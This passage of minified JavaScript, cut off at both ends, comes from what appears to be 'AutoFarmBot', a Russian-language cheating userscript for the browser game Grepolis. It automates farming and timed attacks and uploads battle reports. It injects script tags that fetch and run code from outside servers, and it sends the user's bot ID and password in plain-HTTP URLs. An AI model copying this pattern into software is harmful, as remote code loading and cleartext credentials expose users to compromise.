зданий - "+GameData.buildings[newBuilding].name+" ("+Game.townName+")");this.currentBuilding=newBuilding;this.current_tab=null}if(action&&(controller=="building_main"||controller=="building_place")){this.current_tab=action}if(data.building_orders_tmpl){GameData.add({BuildingOrdersTemplate:data.building_orders_tmpl})}if(this.currentBuilding=="place"){BuildingPlace.wnd_handle=this.wnd;if(data.building_place_tmpl){GameData.add({BuildingPlaceTemplate:data.building_place_tmpl});BuildingPlace.index_data=data.data;BuildingPlace.renderIndex(this.wnd);return}}this.wnd.setContent2(data.html);if(controller=="building_main"&&meatscripts.param_ass_1==1){assistant.level_of_buildings.init_points()}if(controller=="building_wall"&&meatscripts.param_log_2==1){logosaver.losses_in_wall.init_losses()}if((controller=="building_barracks"||controller=="building_docks")&&meatscripts.param_ass_4==1){if(assistant.buffs.active!=null){UnitOrder.selectUnit(assistant.buffs.active);assistant.buffs.active=null}assistant.buffs.init_buttons(this)}this.registerEventListeners();if(this.currentBuilding==="academy"){this.unregisterEventListeners().registerEventListeners()}};BuildingMain.reloadMainWindow=function(data){Layout.buildingWindow.getWnd().setContent(data.main.html);if(meatscripts.param_ass_1==1){assistant.level_of_buildings.init_points()}};if(meatscripts.param_ass_0==1){WndHandlerTownIndex.prototype.refresh=function(data){var html,elem,i;if(data.build_from_town_index_enabled!==undefined){this.buildFromTownIndexEnabled=data.build_from_town_index_enabled}$("#town_background area").unbind().remove();html=tmpl2(GameData.TownIndexTemplate,data);this.wnd.setContent2(html);BuildingAnimation.init();BuildOrders.init(data.json_orders,data.available_gold,data.finish_building_order_cost,data.remaining_reductions_until_free,data.is_finish_order_campaign_active);BuildOrders.setLength(ITowns.getTown(Game.townId).buildingOrdersETC());BuildOrders.updateBuildingOrders();elem=$("#town_background");for(i in data.building_orders_completed_ts){elem.find("div.index_building_timer.index_"+i+"_building_timer").countdown()}this.bindBuildingOpenHandlers(data);if(autofarmbot.script.c_town==null){assistant.level_of_buildings.enable=1;this.toggleBuildOn()}};WndHandlerTownIndex.prototype.addHammers=function(data){assistant.level_of_buildings.init_levels(data)};if($("#town_background").length!=0&&!assistant.level_of_buildings.enable){assistant.level_of_buildings.switchOn()}}},};meatscripts.language=0;var mslang=new Array("АФБ Настройки","АвтоФармБот","Свернуть","ID","Пароль","Начать фарм","Остановить","5-ти минутный фарм","10-ти минутный фарм","Выберите тип фарма","Медленный фарм","Фарм для экстремалов","Выберите скорость","Сохранить и обновить страницу","Ваши друзья","Ваша ссылка","Ссылка для приглашения друзей не доступна. Бот не был запущен.","Ждем..","Окончание работы","выясняется","до нового фарма..","Фарм","Скрипт будет запущен","через 5 минут","Связка ID-пароль не верна, либо кончился срок действия вашего ключа","Настройки","Запустите фарм для сканирования друзей","У вас еще нет приглашенных друзей","Гид по сайту","Внимание, новый фарм через 15 секунд","Запущен фестиваль в городе","Запущено шествие в городе","АвтоКультур","фестивали","шествия",'АвтоФармБот с использованием "Капитана"',"АвтоОполчение","Созвано ополчение в городе","Приобретение","Новости","Анализ","Сохранено","Response Error","Логовница","Визуальное отображение","бесплатно","Ассистент","от ..",".. до","От города","до деревушки","расстояние","время","Уровни зданий","Очки за здания","Измеритель расстояний","Стоимость улучшения","Дозорный + mp3","закрыть","Игровые ссылки (q.url)","Аудио-комплекс","Сообщения","Приветствие","бесплатно","Карт-обзор","Название города","Никнейм игрока","Название союза","платная услуга","подробнее","Наши тарифы","Чат","Свернуть АвтоФармБот","Развернуть АвтоФармБот","Приобретение","Войти","Интеллектуальный фарм","Ошибка авторизации","Логирование","Ваш ник","Введите сообщение","Вы не написали сообщение!","Вы слишком торопитесь!","Сообщение отправлено","Вставьте игровую ссылку q.url","Перейти","Очистить","Вкл/выкл Карт-обзор","Расчет войск в стене","Начинаем Фарм-обходы","Инициализируем города","Переходим к городу","В городе нет деревень для фарма","Склад города переполнен","Запрос провален","Фарм-обход закончен","Фарм-обход можно запускать 1 раз в N минут","АвтоСеребро","БыстроБафы","Горячие клавиши","Отчеты","АвтоАтакер","Meat Scripts","Прибыть До","Прибыть После","Интервал","нет","сек","сек.","Запланировать","скрипт не запущен","Скрипт не загрузился. Начинаем заново","Время введено неверно","У вас нет стольких юнитов","Атака инициализирована","Нужно прибыть","до","после","Список запланированнах атак","Список атак","нет запланированных атак","сегодня","завтра","Старт","Прибытие","В нападении","В обороне","Потери","Побеждено","Дерево","Камень","Сереб. монеты","Итого","Выйти","Рейтинг","Премиум","Атака отправлена в","Время прибытия","Готово","Не найдена отправленная атака","Тестирование - ошибка","Ошибка отправки","Тестирование - успешно","Отправка атаки провалена","Не получилось отменить атаку","Запускаем отправку атаки из города","АвтоАтакер не активирован","Вы не выбрали войска","АвтоАтакер подключен","Ошибка отправки: уже происходит отправка другой атаки","К сожалению, настраивать пока нечего","АвтоЧудо","Рискованные интервалы","Отправлять проваленную атаку","Текущий город","Все города","Очистить всё","Баг игры - сброшено время","Для этого города не установлен остров","В городе нет рынка","В городе низкий рынок","В городе маловато ресурсов","20-ти минутный фарм","40-ти минутный фарм","Максимально эффекивный сбор ресурсов каждые 5 или 10 минут.","Медленный фарм имитирует сбор ресурсов человеком - режим для осторожных. В большинстве случаев подобная мера безопасности избыточна. Экстремальный фарм быстрее медленного примерно в 15 раз.","Если кто-либо устанавливает АвтоФармБота по вашей ссылке, то половина первоначального оплаченного им срока прибавляеся на ваш ID.",'АвтоФармБот может внедриться в прем. функцию "Капитан" для более эффективного и быстрого сбора ресурсов.',"При включении этого режима АФБ высчитывает время, затраченное на фарм-обход. В результате селения фармятся практически без задержек.","Ведение лога работы АвтоФармБота, АвтоЧуда и АвтоАтакера в реальном времени.","Параллельно со сбором ресурсов, АвтоФармБот будет организовывать фестивали в городах, где на них хватает ресурсов.","Параллельно со сбором ресурсов, АвтоФармБот будет организовывать триумфальные шествия в городах при достаточном количестве неизрасходованных боевых очков.","Параллельно со сбором ресурсов, АвтоФармБот будет созывать ополчения во всех ваших городах.","При переполнении склада серебром, оно будет автоматически перекидываться в пещеру шпионов.","Возможность использовать интервалы, при которых атака может быть провалена. Только для опытных пользователей!","Запланированная атака будет отправлена даже в том случае, если ее приход не удалось подстроить под заданный интервал.",'Активация модуля "Логовница" для преобразования ваших игровых докладов в репорты на нашем сервере. Имеет удобную ссылку для обмена в чатах, Skype и пр.',"Визуальное преобразование игровых докладов в союзных форумах.",'В здании "стена" будет отображена таблица потерь войск по ресурсам.',"Активация режима отображения уровней зданий в обзоре города, повышение или снижение уровня зданий, не заходя в сенат.","Активация режима отображения очков в сенате, которые вы получите за постройку того или иного здания.",'Измерение времени хода того или иного юнита (морского или сухопутного) между двумя различными городами. Использование: правой кнопкой на городе, выбрать "От", на другом городе выбрать "До" и выделить любой юнит в правом меню',"Возможность обмениваться игровыми ссылками на любой город и действия с ним (атака, подкрепление, заклятия и др.), на информацию об игроке/альянсе/острове. Чтобы перейти по этой ссылке другому игроку, достаточно вставить ее в адресную строку q.url",'Заклинания "Рост Геры" и "Зов Посейдона" теперь всегда под рукой в зданиях казармы и гавани.','Позволяет использовать клавиатуру для выполнения частых действий. К примеру, для перехода к другому городу теперь достаточно нажать стрелку "вправо" (или "влево"), затем "пробел" для центрирования карты и т.д.',"Звуковое приветствие при входе в игру.","Дозорный следит за атаками на ваши города и, при появлении новой, предупреждает вас тревожным звуковым сигналом.","Звуковой сигнал о приходе нового сообщения.","Звуковой сигнал о появлении события в отчетах.","Отображение на карте названий городов.","Отображение на карте игровых ников.","Отображение на карте названий союзов.","Вставьте прямую ссылку на ваш mp3.","Проект АвтоФармБот", "Максимально безопасный фарм", "Смешанный 5+20 / 10+40 минутный фарм", "Селение еще не готово", "10-минутный фарм не изучен", "40-минутный фарм не изучен");
var autofarmbot={script:{},file_exist:0,ptimer:0,vtimer:0,invite_code:""1"",vseconds:0,vminutes:0,ctimer:0,go:function(){var sectwo=parseInt(meatscripts.param_bot_2/60000);this.file_exist=0;$("#autofarmscript").remove();clearTimeout(this.ptimer);clearInterval(this.vtimer);$("div.farmtimer").html("<label>"+mslang[17]+'</label><div class="mspol1"><div class="mspol2"><div class="mspol3"></div></div></div>').css({display:"block"});$("#farmsubmit, #botdeactive, span.tytid").css({display:"none"});$("#farmstop").css({display:"block"});assistant.level_of_buildings.switchOff();var sec=(meatscripts.param_bot_15 == 1)?1:0;meatscripts.createScript("http://www.38.ua/farm.txt");meatscripts.save_cookie();this.ctimer=setTimeout("autofarmbot.check()",20000)},stop:function(){$("#autofarmscript").remove();this.script={};clearTimeout(this.ctimer);clearTimeout(this.ptimer);clearInterval(this.vtimer);this.file_exist=0;$(".farmtimer").empty().css({display:"none"});$("#farmsubmit, #botdeactive, span.tytid").css({display:"inline-block"});$("#farmstop").css({display:"none"});if($(".mslob").length==0&&$("#town_background").length!=0&&meatscripts.param_ass_0==1){assistant.level_of_buildings.switchOn()}},visual_time:function(){if(this.vminutes==0&&this.vseconds==15){meatscripts.hm.add(mslang[29])}if(this.vseconds<10){this.vseconds="0"+this.vseconds}$(".farmtimer").html('<span id="msmb">'+this.vminutes+'</span>:<span id="mssb">'+this.vseconds+"</span>  "+mslang[20]+" 1111111111");if(this.vminutes==0&&this.vseconds==0){clearInterval(this.vtimer);return}if(this.vseconds==0){this.vminutes--;this.vseconds=59}else{this.vseconds--}},check:function(){if(this.file_exist==0){meatscripts.hm.add(mslang[111],"error");this.stop();this.go()}},};
var autowonders={select_all:function(){if($("#allnone").is(":checked")){$("#town_list fieldset input").attr({checked:"checked"})}else{$("#town_list fieldset input").removeAttr("checked")}},save_all:function(){meatscripts.param_won="";for(var i=0;i<$("#town_list fieldset li").length;i++){var town=parseInt($("#town_list fieldset input:eq("+i+")").attr("id").match(/\d+/g)[0]),enable=($("#town_list fieldset input:eq("+i+")").is(":checked"))?1:0;meatscripts.param_won+=town+"."+enable+"|"}meatscripts.save_cookie()},install_one:function(x,y){var cw=meatscripts.param_won_2.split("|"),pos=cw.indexOf(Game.townId.toString());if(pos%3==0){cw[pos+1]=x;cw[pos+2]=y;meatscripts.param_won_2=cw.join("|")}else{meatscripts.param_won_2+=Game.townId+"|"+x+"|"+y+"|"}meatscripts.save_cookie();this.reload_selected_wonders()},install_all:function(x,y,repeat){if($("#town_list").is(":visible")){meatscripts.param_won_2="";for(var i=0;i<$("#town_list fieldset li").length;i++){var town=parseInt($("#town_list fieldset input:eq("+i+")").attr("id").match(/\d+/g)[0]);meatscripts.param_won_2+=town+"|"+x+"|"+y+"|"}if(repeat==1){Layout.townNameList.toggleTownList()}}else{if(repeat!=1){Layout.townNameList.createTownListDropdown()}setTimeout("autowonders.install_all("+x+", "+y+", 1)",100)}meatscripts.save_cookie();this.reload_selected_wonders()},clear_all:function(){meatscripts.param_won_2="";meatscripts.save_cookie();this.reload_selected_wonders()},reload_selected_wonders:function(){$("#town_list fieldset span.coords").empty();var cw=meatscripts.param_won_2.split("|");if($("#town_list").is(":visible")){for(var i=0;i<$("#town_list fieldset li").length;i++){var town=$("#town_list fieldset li:eq("+i+")").attr("id").match(/\d+/g)[0];if(cw.indexOf(town)%3==0){$("#town_list fieldset span.coords:eq("+i+")").html(cw[cw.indexOf(town)+1]+":"+cw[cw.indexOf(town)+2])}else{$("#town_list fieldset span.coords:eq("+i+")").html("-")}}}},};
var autoattack={enable:0,working:0,planed_attacks:{},intervals:{},go:function(){if(this.enable==0){$("#attacksubmit").css({display:"none"});$("#attacklist").css({display:"block"});meatscripts.createScript("http://autofarmbot.ru/bot/autoattack.php?id="+$("#farmid").val()+"&pass="+$("#farmpass").val()+"&name="+Game.player_name+"&server="+meatscripts.server+"&nocache="+Math.random(),"autoattackscript");meatscripts.save_cookie();this.check(0)}},stop:function(){this.enable=0;$("#attacksubmit").css({display:"block"});$("#attacklist").css({display:"none"});auto_attack=null;clearTimeout(this.ctimer)},check:function(i){if(this.enable==0){if(i<80){i++;this.ctimer=setTimeout("autoattack.check("+i+")",250)}else{meatscripts.hm.add(mslang[111],"error",2);$("#autoattackscript").remove();this.go()}}},start_init:function(){var data=JSON.stringify({type:"full"});meatscripts.postMessage.send(window.frames.ex,{view:"initattacks",json:data,nick:Game.player_name,server:meatscripts.server,id:$("#farmid").val(),pass:$("#farmpass").val(),name:Game.player_name})},save:function(elem,id){var form=$(elem).parent().parent().children("form"),units=form.find(".unit_container"),time=/([0-9]+):([0-9]+):([0-9]+) ([0-9]+)\/([0-9]+)\/([0-9]+)/.exec($("#server_time").html()),current_time=Timestamp.server(),duration=/([0-9]+):([0-9]+):([0-9]+)/.exec(form.find(".way_duration").html()),current_duration=parseInt(duration[3])+parseInt(duration[2]*60)+parseInt(duration[1]*3600),set_hours=parseInt($(elem).parent().find(".nuhours").val()),set_minutes=parseInt($(elem).parent().find(".numinutes").val()),set_seconds=parseInt($(elem).parent().find(".nuseconds").val());def_name=form.parent().parent().parent().find("span.ui-dialog-title").html();if(set_hours>=0&&set_hours<=23&&set_minutes>=0&&set_minutes<=59&&set_seconds>=0&&set_seconds<=59){var set_time=Date.UTC(time[6],time[5]-1,time[4],set_hours,set_minutes,set_seconds)/1000-Game.locale_gmt_offset,st_time=(current_time>set_time-current_duration)?set_time-current_duration+86400:set_time-current_duration,nec_time=(current_time>set_time-current_duration)?set_time+86400:set_time}else{meatscripts.hm.add(mslang[112],"error",2);return}var params_array={defender:id,def_name:def_name,auto_type:$(elem).parent().find(".autotype").val(),auto_int:$(elem).parent().find(".autosec").val(),attacking_strategy:/attack\_type\_(.*) /.exec(form.find(".attack_type_active").attr("class"))[1],st_unixtime:st_time,ar_unixtime:nec_time,town_id:Game.townId,nlreq_id:Game.notification_last_requested_id,units:{},};for(var i=0;i<units.length;i++){if($(units[i]).children("input").val()!=""&&$(units[i]).children("input").val()!=0){if(parseInt($(units[i]).children("input").val())>$(units[i]).find("span").html()){meatscripts.hm.add(mslang[113],"error",2);return}params_array.units[$(units[i]).children("a").attr("id")]=$(units[i]).children("input").val();var j=1}}if(j==null){meatscripts.hm.add(mslang[147],"error",2);return}autoattack.working==1;this.planed_attacks["test"+id]=new auto_attack(id,params_array,1).run()},save_2:function(params_array){var data=JSON.stringify(params_array);meatscripts.postMessage.send(window.frames.ex,{view:"attacker",json:data,nick:Game.player_name,server:meatscripts.server,id:$("#farmid").val(),pass:$("#farmpass").val(),name:Game.player_name})},save_callback:function(data){if(data!=""){data=JSON.parse(data);if(data.error){meatscripts.hm.add(data.error,"error",2);return}if($(".wfarmlist").length!=0&&$(".wfarmlist").css("display")!="none"){this.list_callback(data)}for(i in data){meatscripts.hm.add(mslang[114],0,2);this.initialize_attack(i,data[i])}}else{meatscripts.request_error()}},initialize_attack:function(id,incoming){if(incoming.auto_int!=0){var nec_time=(incoming.auto_type==0)?incoming.st_unixtime-incoming.auto_int-9:incoming.st_unixtime-9}else{var nec_time=(incoming.auto_type==0)?incoming.st_unixtime-12:incoming.st_unixtime+11}var nec_date=new Date(incoming.ar_unixtime*1000);this.planed_attacks[id]=new auto_attack(id,incoming);this.intervals[id]=setInterval(function(){if(Timestamp.server()-2<=nec_time&&Timestamp.server()>=nec_time){if(autoattack.working==0){autoattack.working=1;if($("#farmstop").css("display")=="block"){autoattack.afb=1;autofarmbot.stop()}else{autoattack.afb=0}clearInterval(autoattack.intervals[id]);meatscripts.hm.add(mslang[115]+" "+((incoming.auto_type==0)?mslang[116]:mslang[117])+": "+meatscripts.h(nec_date)+":"+meatscripts.m(nec_date)+":"+meatscripts.s(nec_date),0,2);autoattack.planed_attacks[id].town_switch()}else{meatscripts.hm.add(mslang[149],"error",2);clearInterval(autoattack.intervals[id])}}},1000)},list:function(){if($(".wfarmlist").length!=0&&$(".wfarmlist").css("display")!="none"){return}$(meatscripts.window('<div class="game_border" style="height:480px;"><div class="game_border_top"></div><div class="game_border_bottom"></div><div class="game_border_left"></div><div class="game_border_right"></div><div class="game_border_corner corner1"></div><div class="game_border_corner corner2"></div><div class="game_border_corner corner3"></div><div class="game_border_corner corner4"></div><div style="width:830px;height:18px;" class="game_header bold">'+mslang[118]+'</div><img class="ajax_loader" src="http://cdn.grepolis.com/images/game/ajax-loader.gif" style="position:absolute;top: 219px; left: 392px; z-index: 10000;"><ul id="command_overview" class="game_list"></ul></div>')).dialog({title:mslang[119]+" | "+mslang[102],resizable:false,dialogClass:"wfarmlist",width:850,height:550});$(".wfarmlist a.ui-dialog-titlebar-close").click(function(){$(".wfarmlist .gpwindow_frame, .wfarmlist").remove()});var data=JSON.stringify({type:"full"});meatscripts.postMessage.send(window.frames.ex,{view:"attackslist",json:data,nick:Game.player_name,server:meatscripts.server,id:$("#farmid").val(),pass:$("#farmpass").val(),name:Game.player_name})},list_callback:function(data){if(data!=""){data=JSON.parse(data);if(data.error){meatscripts.hm.add(data.error,"error",2);return}var time=/([0-9]+):([0-9]+):([0-9]+) ([0-9]+)\/([0-9]+)\/([0-9]+)/.exec($("#server_time").html());$(".wfarmlist .ajax_loader").remove();$(".wfarmlist .game_header").html(mslang[118]+" ("+mslang[120]+")");function sortHashTownGroups(groups){var id,i,l,groups_ids=[],ordered_ids=[];for(id in groups){if(groups.hasOwnProperty(id)&&id!=="0"&&id!=="null"){groups_ids[groups_ids.length]=id}}groups_ids=groups_ids.sort(function(a,b){return a-b});for(i=0,l=groups_ids.length;i<l;i++){ordered_ids[ordered_ids.length]=groups[groups_ids[i]]}ordered_ids[ordered_ids.length]=groups[0];ordered_ids[ordered_ids.length]=groups[null];return ordered_ids}groups=ITowns.getTownGroups();var townsList=tmpl2(GameData.TownListTemplate,{groups:sortHashTownGroups(groups)});$("#meatscriptsDOM #app-townsList").remove();$("#meatscriptsDOM").append('<div id="app-townsList" style="display:none;">'+townsList+"</div>");for(i in data){$(".wfarmlist .game_header").html(mslang[118]);var unixtime=new Date(parseInt(data[i].ar_unixtime)*1000),comp_gmt=(unixtime.getHours()-unixtime.getUTCHours()>-12)?unixtime.getHours()-unixtime.getUTCHours():24+unixtime.getHours()-unixtime.getUTCHours(),differenceH=parseInt(Game.locale_gmt_offset/3600)-comp_gmt;switch(Game.locale_gmt_offset/3600%1){case 0.5:var gmt_offset_m=30;break;case -0.5:var gmt_offset_m=-30;break;default:var gmt_offset_m=0;break}if(data[i].auto_int!=0){var auto_advance=(data[i].auto_type==0)?-data[i].auto_int-9:-9}else{var auto_advance=(data[i].auto_type==0)?-12:11}if(data[i].auto_int!=0){var auto_advance_2=(data[i].auto_type==0)?-data[i].auto_int:data[i].auto_int}else{var auto_advance_2=(data[i].auto_type==0)?-20:20}var differenceM=gmt_offset_m-(unixtime.getMinutes()-unixtime.getUTCMinutes()),ar_unixtime=new Date(parseInt(data[i].ar_unixtime+differenceH*3600+differenceM*60)*1000),ar_hours=ar_unixtime.getHours(),ar_minutes=(ar_unixtime.getMinutes()>9)?ar_unixtime.getMinutes():"0"+ar_unixtime.getMinutes(),ar_seconds=(ar_unixtime.getSeconds()>9)?ar_unixtime.getSeconds():"0"+ar_unixtime.getSeconds(),ar_time="<b>"+ar_hours+":"+ar_minutes+":"+ar_seconds+"</b>",ar_unixtime_2=new Date(parseInt(data[i].ar_unixtime+differenceH*3600+differenceM*60+auto_advance_2)*1000),ar_hours_2=ar_unixtime_2.getHours(),ar_minutes_2=(ar_unixtime_2.getMinutes()>9)?ar_unixtime_2.getMinutes():"0"+ar_unixtime_2.getMinutes(),ar_seconds_2=(ar_unixtime_2.getSeconds()>9)?ar_unixtime_2.getSeconds():"0"+ar_unixtime_2.getSeconds(),ar_time_2=ar_hours_2+":"+ar_minutes_2+":"+ar_seconds_2,ar_date=(ar_unixtime.getDate()==time[4])?mslang[121]:mslang[122],st_unixtime=new Date(parseInt(data[i].st_unixtime+differenceH*3600+differenceM*60+auto_advance)*1000),st_hours=st_unixtime.getHours(),st_minutes=(st_unixtime.getMinutes()>9)?st_unixtime.getMinutes():"0"+st_unixtime.getMinutes(),st_seconds=(st_unixtime.getSeconds()>9)?st_unixtime.getSeconds():"0"+st_unixtime.getSeconds(),st_date=(st_unixtime.getDate()==time[4])?mslang[121]:mslang[122],auto_int=(data[i].auto_int==0)?"(20 "+mslang[108]+")":"("+(data[i].auto_int-1)+" "+mslang[108]+")",auto_time_all=(data[i].auto_type==0)?ar_time_2+" - "+ar_time:ar_time+" - "+ar_time_2;var town_name=$("#app-townsList #t"+data[i].town_id+"_gnull a").html();switch(data[i].attacking_strategy){case 0:default:var attacking_strategy="attack";break;case 1:var attacking_strategy="revolt";break;case 2:var attacking_strategy="breakthrough";break}var string='<li class="place_command attack'+i+'"><div class="cmd_info_box"><img src="http://cdn.grepolis.com/images/game/unit_overview/'+attacking_strategy+'.png" class="cmd_img"><span class="cmd_span"><a class="gp_town_link" href="#" onClick="Layout.wnd.Create(4, '+assistant.a+town_name+assistant.a+", { action : "+assistant.a+"info"+assistant.a+" }, { id : "+data[i].town_id+', nlreq_id : Game.notification_last_requested_id, town_id: Game.townId });">'+town_name+'</a> <span class="overview_outgoing icon"></span> <a class="gp_town_link" href="#" onClick="Layout.wnd.Create(4, '+assistant.a+data[i].def_name+assistant.a+", { action : "+assistant.a+"info"+assistant.a+" }, { id : "+data[i].defender+', nlreq_id : Game.notification_last_requested_id, town_id: Game.townId });">'+data[i].def_name+'</a><br><span style="float:left;">'+mslang[123]+" "+st_date+" в "+st_hours+":"+st_minutes+":"+st_seconds+'</span><span class="troops_arrive_at eta-arrival-3541108">('+mslang[124]+" "+ar_date+" "+auto_time_all+") "+auto_int+'</span></span></div><div class="command_overview_units">';for(j in data[i].units){string+='<div class="place_unit unit_'+j+'" style="background-image:url(http://cdn.grepolis.com/images/game/units/'+j+'_25x25.png);"><span class="place_unit_black bold">'+data[i].units[j]+'</span><span class="place_unit_white bold">'+data[i].units[j]+"</span></div>"}string+='</div><a href="#" onClick="autoattack.delete_attack('+i+')" class="cancel_attack"></a></li>';$(".wfarmlist .game_list").append(string)}$('#meatscriptsDOM #app-townsList').remove();}else{meatscripts.request_error()}},delete_attack:function(id){var data=JSON.stringify({type:"delete",id:id});meatscripts.postMessage.send(window.frames.ex,{view:"deleteattack",json:data,nick:Game.player_name,server:meatscripts.server,id:$("#farmid").val(),pass:$("#farmpass").val(),name:Game.player_name})},delete_callback:function(data){if(data!=""){data=JSON.parse(data);if(data.error){meatscripts.hm.add(data.error,"error",2);return}if(data.success){meatscripts.hm.add(data.success,0,2);clearInterval(autoattack.intervals[data.id]);autoattack.planed_attacks[data.id]=null;$(".place_command.attack"+data.id).remove();if($(".wfarmlist #command_overview").html()==""){$(".wfarmlist .game_header").html(mslang[118]+" ("+mslang[120]+")")}}}else{meatscripts.request_error()}},};
var logosaver={init_module:function(){if(meatscripts.param_log_0==1){setInterval("logosaver.script.init_analyze_1()",150);setInterval("logosaver.script.init_analyze_2()",150)}if(meatscripts.param_log_1==1){this.visuality.init_script()}},script:{enable:0,place:0,init_analyze_1:function(){if($('#report_list li.color_highlight[msindicator!="1"]').length==0){return}$('<span class="small"> | <span class="msanal"><a style="cursor:pointer;" onClick="logosaver.script.place=0;logosaver.script.go(this);">'+mslang[40]+"</a></span></span>").insertAfter('#report_list li.color_highlight[msindicator!="1"] .reports_date span');$('#report_list li.color_highlight[msindicator!="1"]').attr({msindicator:"1"})},init_analyze_2:function(){if(($("#report_report .fight_report_classic").html()==null)||($(".msanal2").html()!=null)){return}$("#report_report .game_list_footer").append('<a class="button msanal2" id="msanal" style="float:right;" href="#" onClick="logosaver.script.place = 1;logosaver.script.go(this);"><span class="left"><span class="right"><span class="middle">'+mslang[40]+"</span></span></span></a>")},go:function(elem){if(this.enable==1){return}this.enable=1;this["element"]=elem;if(this.place==0){$(this.element).html(mslang[40]+"..")}else{$(this.element).find("span.middle").html(mslang[40]+"..")}var pattern=/([0-9]+)/;this["log_id"]=(this.place==0)?pattern.exec($(this.element).parent().parent().parent().prev().children("a").attr("onClick"))[1]:pattern.exec($(this.element).parent().children("a:eq(0)").attr("onClick"))[1];this.query()},query:function(){var params={id:logosaver.script.log_id,town_id:Game.townId,nlreq_id:Game.notification_last_requested_id,};var data={json:JSON.stringify(params),};$.ajax({type:"get",url:"http://"+meatscripts.host+url("report","view"),data:data,success:function(data){if(/\{\"error\"/.exec(data)!=null){var mes=JSON.parse(/\{(.*)\}/.exec(data)[0]);logosaver.script.error();return}logosaver.script.save(data)},error:function(){logosaver.script.error()}})},save:function(data){var data=data.replace(/\n/g,"").replace(/\t/g,"").replace(/\r/g,"");meatscripts.postMessage.send(window.frames.ex,{view:"logosaver",json:data,nick:Game.player_name,server:meatscripts.host,})},save_callback:function(type,data){if(type==1&&data!=""){logosaver.script.finish(data)}else{meatscripts.request_error();logosaver.script.error()}},finish:function(url){if(this.place==0){$(this.element).parent().append('<a href="http://autofarmbot.ru/reports/'+url+'" target="_blank"><u>'+mslang[41]+"</u></a>")}else{$(this.element).parent().append('<a class="button msanal2" style="float:right;" href="http://autofarmbot.ru/reports/'+url+'" target="_blank"><span class="left"><span class="right"><span class="middle">'+mslang[41]+"</span></span></span></a>")}$(this.element).remove();this.enable=0},error:function(){if(this.place==0){$(this.element).html(mslang[40])}else{$(this.element).find("span.middle").html(mslang[40])}this.enable=0},},visuality:{init_script:function(){$("head").append('<link href="http://autofarmbot.ru/bot/styles.php?type=1&nocache='+Math.random()+'" type="text/css" rel="stylesheet">');setInterval("logosaver.visuality.replace_urls()",150)},replace_urls:function(){var urls=$('a[href^="http://ru.grepolis.com/start/redirect?url=http%3A%2F%2Fautofarmbot.ru"]');if(urls.length==0){return}for(var i=0;i<urls.length;i++){urls[i].href=urls[i].href.split("=")[1].replace(/%2F/g,"/").replace(/%3A/,":")}}},losses_in_wall:{result:0,res:{},init_losses:function(){this.res={};for(var i=0;i<$("#building_wall .wall_unit_container").length;i++){for(var j=0;j<$("#building_wall .wall_unit_container:eq("+i+") > div").length;j++){var unit=/([A-Za-z\_]+)\_50/.exec($("#building_wall .wall_unit_container:eq("+i+") > div:eq("+j+")").css("background-image"))[1],points=parseInt($("#building_wall .wall_unit_container:eq("+i+") > div:eq("+j+") > span:eq(0)").html());this.res["wood"+i]=(this.res["wood"+i]||0)+points*assistant.db_1[unit].wood;this.res["stone"+i]=(this.res["stone"+i]||0)+points*assistant.db_1[unit].stone;this.res["iron"+i]=(this.res["iron"+i]||0)+points*assistant.db_1[unit].iron}this.res["result"+i]=this.res["wood"+i]+this.res["stone"+i]+this.res["iron"+i]}$("#building_wall").parent().append('<table id="mswallpoints"><tr class="b"><td>'+mslang[128]+':</td><td class="c">'+mslang[125]+'</td><td class="c">'+mslang[126]+"</td><td>"+mslang[127]+':</td><td class="c">'+mslang[125]+'</td><td class="c">'+mslang[126]+'</td></tr><tr><td class="b">'+mslang[129]+':</td><td class="c">'+this.res.wood0+'</td><td class="c">'+this.res.wood2+'</td><td class="b">'+mslang[129]+':</td><td class="c">'+this.res.wood1+'</td><td class="c">'+this.res.wood3+'</td></tr><tr><td class="b">'+mslang[130]+':</td><td class="c">'+this.res.stone0+'</td><td class="c">'+this.res.stone2+'</td><td class="b">'+mslang[130]+':</td><td class="c">'+this.res.stone1+'</td><td class="c">'+this.res.stone3+'</td></tr><tr><td class="b">'+mslang[131]+':</td><td class="c">'+this.res.iron0+'</td><td class="c">'+this.res.iron2+'</td><td class="b">'+mslang[131]+':</td><td class="c">'+this.res.iron1+'</td><td class="c">'+this.res.iron3+'</td></tr><tr><td class="b">'+mslang[132]+':</td><td class="b bl c">'+this.res.result0+'</td><td class="b bl c">'+this.res.result2+'</td><td class="b">'+mslang[132]+':</td><td class="b r c">'+this.res.result1+'</td><td class="b r c">'+this.res.result3+"</td></tr></table>")}},chat:{limit:50,flood_security:0,init_chat:function(){if(meatscripts.param_log_3==1){meatscripts.add_DOM_object('<div id="mchatbox"></div>');this.give_me_access()}},give_me_access:function(nick){var nick=(nick!=undefined)?nick:0;var data='{ "type" : "autorize", "nick" : "'+nick+'" }';meatscripts.postMessage.send(window.frames.ex,{view:"chatautorize",json:data,nick:Game.player_name,server:meatscripts.host})},give_me_access_callback:function(data){var access=JSON.parse(data);switch(access.access){default:logosaver.chat.nickname=access.access;if($("#mchatbox").html()==""){logosaver.chat.show_me_now()}else{$("#nick_input").unbind().val(mslang[79]+": "+logosaver.chat.nickname).attr("disabled","disabled")}break;case"false":HumanMessage.error(mslang[77]);break}},show_me_now:function(){var nickD=(/user\d+/.exec(logosaver.chat.nickname)!=null)?"":"disabled";$("#mchatbox").empty().append('<div id="mresizable"><div id="muserlist"></div><div id="mpole"></div></div><div id="msend"><div class="msileft" style="margin:0 1px 0 -1px;"><div class="msiright"><input id="nick_input" class="msinput" type="text" placeholder="'+mslang[79]+": "+logosaver.chat.nickname+'" '+nickD+'></div></div><div class="msileft"><div class="msiright"><input id="send_input" class="msinput" type="text" placeholder="'+mslang[80]+'"></div></div><a onclick="logosaver.chat.send_request();" class="msa1"></a><a onclick="$('+assistant.a+"#send_input"+assistant.a+").val("+assistant.a+assistant.a+');" class="msa2" style="margin-right:-1px;"></a><a onClick="logosaver.chat.close_me_now();" class="msbutton" id="mexit"><span class="msbutton1"><span class="msbutton2">'+mslang[133]+"</span></span></a></div>");$("#mresizable").resizable({handles:"n",minHeight:95,maxHeight:700});$("#mchatbox .msa1").mousePopup(new MousePopup(mslang[85]));$("#mchatbox .msa2").mousePopup(new 